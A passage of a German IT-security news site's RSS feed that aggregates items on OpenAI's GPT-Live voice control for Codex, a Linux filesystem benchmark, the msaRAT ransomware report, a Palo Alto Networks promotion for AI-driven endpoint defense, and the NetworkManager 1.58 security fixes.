<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Two weeks after debuting its <a href="https://venturebeat.com/technology/openai-launches-gpt-live-a-full-duplex-voice-upgrade-that-lets-chatgpt-talk-more-like-a-person">more naturalistic GPT-Live audio AI model</a> with full-duplex capabilities (listening and speaking at the same time), OpenAI is bringing it directly into developer workflows. </p><p>The company announced that <a href="https://x.com/OpenAI/status/2080378182469857576">GPT-Live now powers the ChatGPT desktop application</a> on macOS and Windows, integrating directly with agentic systems like Codex and ChatGPT Work (which are separate experiences available in the ChatGPT desktop app). </p><p>When OpenAI initially launched GPT-Live on July 8, 2026, it introduced a continuous audio model capable of listening and speaking simultaneously—eliminating rigid turn-taking while delegating complex reasoning to background models like GPT-5.5. </p><p>Today's release expands that conversational layer to technical tasks, enabling software engineers to orchestrate multi-threaded coding jobs, review pull requests, and debug applications using natural voice commands.</p><p>As such, it could usher in a new era of "hands free" software development and even live, in-person group coding parties for <a href="https://openai.com/index/codex-for-knowledge-work/">Codex's more than 5 million weekly active users</a>. Codex, of course, is the name given to OpenAI's models and harness focused on coding, but which the company has this year expanded into a more <a href="https://venturebeat.com/technology/openai-drastically-updates-codex-desktop-app-to-use-all-other-apps-on-your-computer-generate-images-preview-webpages">general productivity platform. </a>An OpenAI spokesperson told VentureBeat this is the first time voice activation has been included natively with Codex on the desktop. </p><p>OpenAI posted a <a href="https://youtu.be/E0ZMOschrTU?si=WWc8fZ2o0UtxrDFk">promotional video</a> showing some of its employees, Codex developer experience engineer Jason Liu and Codex technical staffer Guinness Chen, speaking to the same ChatGPT desktop app session in the same room, each issuing different instructions and conversing with the same model. </p><div></div><h2><b>New capabilities unlocked</b></h2><p>At its core, this integration relies on decoupling the real-time voice layer from the underlying execution engines.</p><p>While GPT-Live maintains fluid conversation—inserting natural verbal acknowledgments like "got it" without interrupting the user—it passes heavy computational workloads to background reasoning models. </p><p>On macOS, the desktop application incorporates "Appshots" and screen context features, allowing ChatGPT Voice to analyze the frontmost window alongside local files, codebase structures, and active plugins.</p><p>This architecture creates a pair-programming dynamic where developers talk through problems conversationally while agents execute tasks asynchronously. </p><p>Rather than manually stopping coding sessions to type detailed instructions or switch windows, developers direct the system hands-free. </p><p>The full-duplex engine dynamically decides when to speak, pause, or invoke tools, maintaining conversational state even as background agents process complex code modifications.</p><h2><b>Directing coding and complex builds with your voice alone</b></h2><p>The central operational capability in this update centers on multi-task execution across Codex and ChatGPT Work environments. </p><p>Software engineers can initiate multiple concurrent task threads from a single spoken prompt. For instance, a developer preparing to ship a feature can instruct the system to investigate an open authentication bug, review a pending API migration pull request, and generate missing unit tests simultaneously.</p><p>The desktop application coordinates these actions across disparate contexts, tracing issues through Slack conversations, GitHub repositories, and local codebases.</p><p>Developers can also verbally convert design mockups into working code, splitting tasks across frontend, backend, and testing layers. </p><p>With support for multi-folder projects (build 26.715) and remote execution via iOS, engineers can check task progress, answer agent prompts, and redirect active jobs without switching applications or managing individual processes line by line.</p><h2><b>Proprietary license</b></h2><p>OpenAI’s voice-enabled desktop release operates under a proprietary, commercial enterprise model. Access is restricted to paid subscribers across Plus, Pro, Business, Enterprise, and Education plans.</p><p>For individual developers and corporate engineering departments, this commercial structure means the model weights, voice processing pipelines, and agent state architectures remain fully closed. </p><p>Organizations cannot modify or self-host the underlying systems. Furthermore, tasks initiated via ChatGPT Voice consume standard usage allocations directly from existing Codex and ChatGPT Work plan quotas, treating voice-triggered actions identically to standard agentic workloads.</p><h2><b>Community reactions</b></h2><p>Developer communities immediately noted the implications of bringing continuous full-duplex voice to autonomous coding workflows. </p><p>Reacting to the build 26.715 release announcement—which details voice integration and multi-folder project support—AI Insider journalist <a href="https://x.com/ChrisGPT/status/2080375250139693293">@ChrisGPT noted on X</a>: "Today OpenAI will release voice and remote guidance for codex ! One step closer to personal AGI". </p><p>Early technical feedback highlights widespread enthusiasm for orchestrating complex agentic tasks hands-free, particularly when stepping away from the workstation or managing build pipelines remotely.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]></title>
<description><![CDATA[Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place. I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their fea...]]></description>
<link>https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:06 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.</p> <p>I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.</p> <p>The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.</p> <p>Hosted CI dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/">https://bartosz.fenski.pl/modern-fs-benchmark/</a></p> <p>Experimental real-hardware dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/">https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/</a></p> <p>Apache-2.0 licensed source and complete methodology:</p> <p><a href="https://github.com/fenio/modern-fs-benchmark">https://github.com/fenio/modern-fs-benchmark</a></p> <p>The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.</p> <p><strong>Why I started this project</strong></p> <p>Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.</p> <p>General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.</p> <p>I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.</p> <p>That means testing behavior such as:</p> <p>- Redundancy and degraded operation</p> <p>- Snapshot aging, scaling and reclamation</p> <p>- Compression and encryption</p> <p>- Reflinks and clone divergence</p> <p>- Fsync tail latency and responsiveness under load</p> <p>- Rebuild and scrub behavior</p> <p>- Near-full and hard-ENOSPC behavior</p> <p>- Data integrity and recovery from corruption</p> <p>Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.</p> <p>Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.</p> <p>Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.</p> <p>The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.</p> <p><strong>An important limitation</strong></p> <p>The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.</p> <p>The hosted runs are primarily useful for:</p> <p>- Correctness and integrity outcomes</p> <p>- Comparisons within the same job</p> <p>- Large behavioral differences</p> <p>- Snapshot-aging and near-full shapes</p> <p>- Trends across repeated runs</p> <p>Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.</p> <p>I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.</p> <p><strong>The real-hardware experiment</strong></p> <p>Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.</p> <p>The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.</p> <p>During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.</p> <p>The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.</p> <p>I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.</p> <p><strong>Where I would like to take it</strong></p> <p>Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.</p> <p>I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.</p> <p>That could support scenarios such as:</p> <p>- HDD, SSD and NVMe baselines using identical workloads</p> <p>- bcachefs foreground and background targets</p> <p>- ZFS HDD data vdevs with SSD special vdevs</p> <p>- Separate ZFS L2ARC and SLOG experiments</p> <p>- LVM dm-cache in writeback and writethrough modes</p> <p>- Metadata and small-block placement on faster media</p> <p>- Foreground latency during background migration</p> <p>- Contention between fast and slow storage tiers</p> <p>- Degraded operation and rebuild under application load</p> <p>- Performance before, during and after promoting or evacuating a storage tier</p> <p>These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.</p> <p>I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.</p> <p>For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.</p> <p>I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.</p> <p>I would appreciate technical feedback:</p> <p>- Which current tests are misleading or unfair?</p> <p>- Which failure scenarios are missing?</p> <p>- Which mixed-media topologies would be most useful?</p> <p>- Which additional filesystems or layered stacks should be included?</p> <p>- Which results deserve deeper investigation?</p> <p>The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bfenski"> /u/bfenski </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rise of Agentic SRE: Humans, Agents, and Reliability]]></title>
<description><![CDATA[Site reliability engineering has always been about reducing toil, improving resilience and helping teams respond to incidents with speed and confidence. Agentic SRE takes this idea further, allowing AI systems to observe, reason, and act within operational workflows inside of…
Read more →
The pos...]]></description>
<link>https://tsecurity.de/de/3690175/it-security-nachrichten/the-rise-of-agentic-sre-humans-agents-and-reliability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690175/it-security-nachrichten/the-rise-of-agentic-sre-humans-agents-and-reliability/</guid>
<pubDate>Thu, 23 Jul 2026 22:44:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Site reliability engineering has always been about reducing toil, improving resilience and helping teams respond to incidents with speed and confidence. Agentic SRE takes this idea further, allowing AI systems to observe, reason, and act within operational workflows inside of…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/the-rise-of-agentic-sre-humans-agents-and-reliability/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/the-rise-of-agentic-sre-humans-agents-and-reliability/">The Rise of Agentic SRE: Humans, Agents, and Reliability</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaos ransomware deploys browser-based msaRAT to evade network detection]]></title>
<description><![CDATA[Cisco Talos uncovered msaRAT, a Chaos ransomware RAT that hides C2 traffic by routing it through Chrome or Edge using the Chrome DevTools Protocol. Cisco Talos disclosed msaRAT, a Rust-based remote access trojan attributed to the Chaos ransomware group that…
Read more →
The post Chaos ransomware ...]]></description>
<link>https://tsecurity.de/de/3690104/it-security-nachrichten/chaos-ransomware-deploys-browser-based-msarat-to-evade-network-detection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690104/it-security-nachrichten/chaos-ransomware-deploys-browser-based-msarat-to-evade-network-detection/</guid>
<pubDate>Thu, 23 Jul 2026 21:39:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cisco Talos uncovered msaRAT, a Chaos ransomware RAT that hides C2 traffic by routing it through Chrome or Edge using the Chrome DevTools Protocol. Cisco Talos disclosed msaRAT, a Rust-based remote access trojan attributed to the Chaos ransomware group that…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/chaos-ransomware-deploys-browser-based-msarat-to-evade-network-detection/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/chaos-ransomware-deploys-browser-based-msarat-to-evade-network-detection/">Chaos ransomware deploys browser-based msaRAT to evade network detection</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[4 ways AI-driven defense is rewriting the cybersecurity playbook]]></title>
<description><![CDATA[The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a...]]></description>
<link>https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/</guid>
<pubDate>Thu, 23 Jul 2026 21:34:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a fundamentally different, AI-driven architecture: Agentic Endpoint Security (AES). </p>



<p class="wp-block-paragraph">AES represents a paradigm shift, moving security from a passive monitor to an active participant in the defense lifecycle. It provides the visibility and automated guardrails necessary to govern autonomous AI agents and agentic tools, ensuring that as your workforce scales with AI, your security posture remains unbreakable. </p>



<p class="wp-block-paragraph">With autonomous AI agents now capable of planning and executing multi-stage attacks at machine speed, the pressure on traditional security operations (SOC) has reached a breaking point. To survive this shift, the strategy is clear: we must fight AI with AI. </p>



<p class="wp-block-paragraph">Here is how AI-driven defense, pioneered by <a href="https://www.paloaltonetworks.com/cortex/cortex-xdr?utm_source=foundry-jg-amer-cortex-socf-ends&amp;utm_medium=display&amp;utm_campaign=foundry-cortex-edpxdr-amer-multi-discovery-en-foundry_cso_article_link_1_xdr&amp;utm_content=7014u000001AZlHAAW&amp;cq_plac=%7Bplacement%7D&amp;cq_net=%7Bnetwork%7D?dclid=CPXs7KK66ZUDFU6Q7gEdcAAphg&amp;gad_source=7&amp;gad_campaignid=24059812534" target="_blank" rel="noreferrer noopener">Cortex XDR</a> and the era of <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security?utm_source=foundry-jg-amer-cortex-socf-ends&amp;utm_medium=display&amp;utm_campaign=foundry-cortex-edpxdr-amer-multi-discovery-en-foundry_cso_article_link_2_koi&amp;utm_content=701Ki000000h8oXIAQ&amp;cq_plac=%7Bplacement%7D&amp;cq_net=%7Bnetwork%7D?dclid=CPSG_NS66ZUDFbrKuAgd4vAYrw&amp;gad_source=7&amp;gad_campaignid=24059814223" target="_blank" rel="noreferrer noopener">Agentic Endpoint Security</a>, is fundamentally rewriting the cybersecurity playbook.</p>



<ol class="wp-block-list">
<li><strong>From reactive patching to proactive prevention </strong></li>
</ol>



<p class="wp-block-paragraph">For decades, the industry lived in a “wait-and-see” mode waiting for a vulnerability to surface, waiting for a signature, and then rushing to patch the hole. But reactive methods just don’t hold up against modern “frontier” AI attacks that are constantly morphing. </p>



<p class="wp-block-paragraph">AI-driven defense changes the game by shifting to a prevention-first architecture. Rather than relying on historical signatures, modern platforms deploy localized, ML-driven analysis to evaluate the intent and behavior of an active process, stopping threats pre-execution. Cortex XDR leads with a strict prevention-first approach by using AI-driven local analysis and behavioral threat protection; the XDR agent stops sophisticated threats pre-impact and pre-execution. This proactive stance reduces the overall risk profile by blocking malicious chains of events in real time across network, process, file, and registry activity. </p>



<p class="wp-block-paragraph">2. <strong>Eliminating the “agentic blind spot” </strong></p>



<p class="wp-block-paragraph">As we all rush to adopt generative AI and automated workflows, a new gap has appeared: the “agentic blind spot.” Adversaries are now targeting AI assistants and automated scripts to bypass defenses. Since these digital agents often have deep access to enterprise data, a compromise here lets attackers move completely under the radar. </p>



<p class="wp-block-paragraph">The new playbook requires securing this entire ecosystem. By combining the distinct capabilities of Cortex XDR and Koi Security, organizations can effectively close this gap. Koi Agentic Endpoint Security tracks everything from shell commands to prompts in real time, while Cortex XDR adds a layer of defense that identifies and neutralizes behavioral anomalies unique to these automated threats. </p>



<p class="wp-block-paragraph">3. <strong>Machine-speed detection and “attack storylines” </strong></p>



<p class="wp-block-paragraph">When an attacker can move through your network in seconds, human-led teams can’t keep up. To make matters worse, most systems just flood analysts with low-quality, isolated alerts, leading to major burnout. </p>



<p class="wp-block-paragraph">AI-driven defense fixes the investigation process by automatically stitching separate data points into a single, high-fidelity “attack storyline.” Cortex XDR uses thousands of machine learning detectors across endpoint, network, and cloud sources to group related signals into one cohesive case. This reveals the full story of an attack, letting your analysts focus on fast remediation instead of digging through piles of data, reducing alert noise by up to 98%. </p>



<p class="wp-block-paragraph">4. <strong>Surgical and autonomous response </strong></p>



<p class="wp-block-paragraph">The final piece of the puzzle is moving from manual remediation to autonomous action. AI-driven response lets your SOC handle threats in minutes, not hours. The platform can automatically revoke compromised tokens or isolate endpoints at machine speed. </p>



<p class="wp-block-paragraph">Cortex XDR delivers built-in enterprise-grade automation at no additional cost, providing over 120 out-of-the-box playbooks and 18 quick actions to handle up to 99% of incidents without manual intervention. Crucially, this level of automation requires an unbreakable foundation of agent resilience. To ensure the defense cannot be disabled by an adversary, Cortex XDR is certified in both the AVC EDR Detection and Anti-Tampering tests, successfully blocking all attempts to disable or modify the agent. </p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">The threat landscape is changing faster than ever, driven by AI-powered attackers who exploit even the smallest gaps. But you don’t have to stay on the defensive. By shifting to a proactive, AI-driven architecture like the one built into Cortex XDR, you can stop threats before they happen, secure your agentic workflows, and automate away the noise that leads to analyst burnout. </p>



<p class="wp-block-paragraph">The journey to a more resilient, AI-powered SOC doesn’t have to be daunting. With the right foundation in place, you’re not just keeping pace with the new threat landscape; you’re staying one step ahead. It’s time to move beyond the old manual playbook and embrace the future of security operations. </p>



<p class="wp-block-paragraph">To learn more about Palto Alto Networks, visit <a href="https://www.paloaltonetworks.com/" target="_blank" rel="noreferrer noopener">https://www.paloaltonetworks.com</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[NetworkManager update advances IPv6-only support, Wi‑Fi management, and security for Linux-based operating systems]]></title>
<description><![CDATA[Networking is core to any operating system, and when it comes to Linux, it’s actually a combination of several key components. The Linux kernel handles the data plane, moving packets, and holding live device state. NetworkManager is the network configuration service, operating as the control plan...]]></description>
<link>https://tsecurity.de/de/3690083/it-security-nachrichten/networkmanager-update-advances-ipv6-only-support-wifi-management-and-security-for-linux-based-operating-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690083/it-security-nachrichten/networkmanager-update-advances-ipv6-only-support-wifi-management-and-security-for-linux-based-operating-systems/</guid>
<pubDate>Thu, 23 Jul 2026 21:34:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Networking is core to any operating system, and when it comes to Linux, it’s actually a combination of several key components. The Linux kernel handles the data plane, moving packets, and holding live device state. NetworkManager is the network configuration service, operating as the control plane, deciding what a device’s configuration should be.</p>



<p class="wp-block-paragraph"><a href="https://gitlab.freedesktop.org/NetworkManager/NetworkManager/-/releases/1.58.0">NetworkManager 1.58</a> was released this week, following more than five months of development and 407 commits since version 1.56. The release covers three areas: expanded support for IPv6-only networks, a set of Wi-Fi management updates, and a round of security hardening.</p>



<p class="wp-block-paragraph">IPv4 address exhaustion remains the pressure behind the first of those areas, pushing more networks toward IPv6-only operation every year.</p>



<p class="wp-block-paragraph">“More networks, mobile carriers, cloud providers, and anyone squeezed by IPv4 exhaustion are running IPv6-only by default,” <a href="https://www.linkedin.com/in/vanhoof/">Chris Van Hoof</a>, director of Linux engineering, platform enablement at Red Hat, told <em>Network World</em>.</p>



<h2 class="wp-block-heading">Advancing IPv6-only support</h2>



<p class="wp-block-paragraph">Dual stack networking, running IPv4 and IPv6 in parallel, has been the default IPv6 transition strategy for years. Dual stack networking, however, has a structural problem in that it still requires an IPv4 address on every device, so it does nothing to relieve address exhaustion pressure.</p>



<p class="wp-block-paragraph">An alternative model called IPv6-mostly addresses that gap. It is defined in RFC 8925, “IPv6-Only-Preferred Option for DHCPv4,” and lets capable clients drop IPv4 entirely while legacy hosts that still need it keep receiving it on the same network segment.</p>



<p class="wp-block-paragraph">“NetworkManager can also now auto-signal RFC 8925’s IPv6-only-preferred option, telling the network a host is fine skipping an IPv4 lease entirely,” Van Hoof said.</p>



<p class="wp-block-paragraph">For the traffic that still needs IPv4, NetworkManager 1.58 adds support for CLAT, short for customer-side translator. CLAT is the client-side half of 464XLAT, a mechanism defined in RFC 6877, “464XLAT: Combination of Stateful and Stateless Translation.”</p>



<p class="wp-block-paragraph">464XLAT pairs CLAT on the endpoint, which performs stateless header translation, with a stateful NAT64 translator on the provider side, letting IPv4-only apps keep functioning on a network that has no IPv4 of its own.</p>



<p class="wp-block-paragraph">“CLAT is the translation layer that lets legacy IPv4-only apps and services keep working on those networks without bolt-on middleware,” Van Hoof said.</p>



<h2 class="wp-block-heading">Wi-Fi management updates</h2>



<p class="wp-block-paragraph">NetworkManager 1.58 also brings a set of changes to how the daemon handles Wi-Fi connections and configuration.</p>



<ul class="wp-block-list">
<li><strong>Band selection: </strong>The band property of Wi-Fi connections now accepts a 6GHz value, and a Wi-Fi scan run through nmcli, NetworkManager’s command line tool, now shows each access point’s band as well.</li>



<li><strong>Credential handling:</strong> WPS credentials with a 64 character hex PSK are now accepted, matching what some access points return.</li>



<li><strong>Text interface improvements:</strong> nmtui, NetworkManager’s menu driven text interface, picked up several usability additions. A new device select button lets you choose a physical interface from a list instead of typing its name. The activation screen gained a rescan Wi-Fi button, and secret prompts now include a show password checkbox. There is also a share QR code option, mirroring the existing nmcli device wifi show-password command.</li>
</ul>



<h2 class="wp-block-heading">Security hardening</h2>



<p class="wp-block-paragraph">The release fixes vulnerabilities and tightens several defaults tied to DHCP handling and connection permissions.</p>



<ul class="wp-block-list">
<li><strong>CVE-2026-10805: </strong>Hostnames and MUD URLs are now validated before being written to the dhclient configuration file, rejecting characters that could alter the config syntax.</li>



<li><strong>DHCPv4 client fix: </strong>An out-of-bounds read in the internal DHCPv4 client, triggerable by an on-link attacker with a malformed UDP packet, has been fixed.</li>



<li><strong>Router option validation: </strong>The internal DHCPv4 client now ignores DHCP option 3, the Router option, when a lease also contains option 121, the Classless Static Route option, following the recommendation in RFC 3442.</li>



<li><strong>Permission checks and deprecations:</strong> For private connections that restrict access to specific users, NetworkManager now verifies that the user can access the referenced 802.1X certificates and keys.</li>
</ul>



<h2 class="wp-block-heading">Tunneling and automation updates</h2>



<p class="wp-block-paragraph">Two smaller but practical additions round out this release: a new tunnel type for virtualized networks, and a fix that closes a gap in how NetworkManager’s state survives a reboot.</p>



<p class="wp-block-paragraph">NetworkManager 1.58 also adds support for creating and managing GENEVE tunnel interfaces. GENEVE, short for Generic Network Virtualization Encapsulation, is a tunneling protocol that wraps Ethernet frames inside UDP packets, letting virtualized or overlay networks run on top of physical Layer 3 infrastructure. It shows up mainly in virtualization and cloud environments, where a hypervisor or container networking layer needs to build a virtual network segment across physical hosts. Previously, NetworkManager could not create or manage these interfaces directly.</p>



<p class="wp-block-paragraph">The release also adds persisted managed state. NetworkManager tracks whether it is responsible for a given network device, a setting called its managed state. Until now, that setting reset on every reboot, so provisioning tools had to reapply it each time a system restarted. NetworkManager 1.58 lets the managed state survive a reboot when it is set through nmcli or the D-Bus API.</p>



<p class="wp-block-paragraph">“It’s a small change but closes a real automation gap: Provisioning tools and cloud-init style workflows can set a device’s state once via D-Bus or nmcli and trust it survives a reboot, instead of reapplying config every time,” Van Hoof said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaos ransomware deploys browser-based msaRAT to evade network detection]]></title>
<description><![CDATA[Cisco Talos uncovered msaRAT, a Chaos ransomware RAT that hides C2 traffic by routing it through Chrome or Edge using the Chrome DevTools Protocol. Cisco Talos disclosed msaRAT, a Rust-based remote access trojan attributed to the Chaos ransomware group that routes its entire command-and-control c...]]></description>
<link>https://tsecurity.de/de/3690047/it-security-nachrichten/chaos-ransomware-deploys-browser-based-msarat-to-evade-network-detection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690047/it-security-nachrichten/chaos-ransomware-deploys-browser-based-msarat-to-evade-network-detection/</guid>
<pubDate>Thu, 23 Jul 2026 21:11:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cisco Talos uncovered msaRAT, a Chaos ransomware RAT that hides C2 traffic by routing it through Chrome or Edge using the Chrome DevTools Protocol. Cisco Talos disclosed msaRAT, a Rust-based remote access trojan attributed to the Chaos ransomware group that routes its entire command-and-control channel through the victim’s own Chrome or Edge browser. The malware […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Warum moderne SOCs Multi-Layer-Detektionen und NDR brauchen]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Angriffsketten wechseln heute schneller als klassische Endpoint- und Malware-Detektion hinterherkommt. Besonders häufig fallen Einbrüche weg, weil Täter ohne Schadsoftware arbeiten und stattdessen Credentials stehlen. Dazu kommt, dass sich innerhalb von Sekunden nach dem er...]]></description>
<link>https://tsecurity.de/de/3690020/it-security-nachrichten/warum-moderne-socs-multi-layer-detektionen-und-ndr-brauchen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690020/it-security-nachrichten/warum-moderne-socs-multi-layer-detektionen-und-ndr-brauchen/</guid>
<pubDate>Thu, 23 Jul 2026 20:54:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-soc-ndr-multi-layered-detections.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-soc-ndr-multi-layered-detections.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-soc-ndr-multi-layered-detections-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-soc-ndr-multi-layered-detections-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-soc-ndr-multi-layered-detections-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-soc-ndr-multi-layered-detections-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-soc-ndr-multi-layered-detections-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Angriffsketten wechseln heute schneller als klassische Endpoint- und Malware-Detektion hinterherkommt. Besonders häufig fallen Einbrüche weg, weil Täter ohne Schadsoftware arbeiten und stattdessen Credentials stehlen. Dazu kommt, dass sich innerhalb von Sekunden nach dem ersten Zugriff oft der nächste Schritt abspielt. Genau deshalb rückt das SOC von isolierten Signalen zu verknüpfter Netzwerk-Evidenz […]</p>
<div><a href="https://www.it-boltwise.de/warum-moderne-socs-multi-layer-detektionen-und-ndr-brauchen.html">... den vollständigen Artikel <strong>»Warum moderne SOCs Multi-Layer-Detektionen und NDR brauchen«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/warum-moderne-socs-multi-layer-detektionen-und-ndr-brauchen.html">Warum moderne SOCs Multi-Layer-Detektionen und NDR brauchen</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
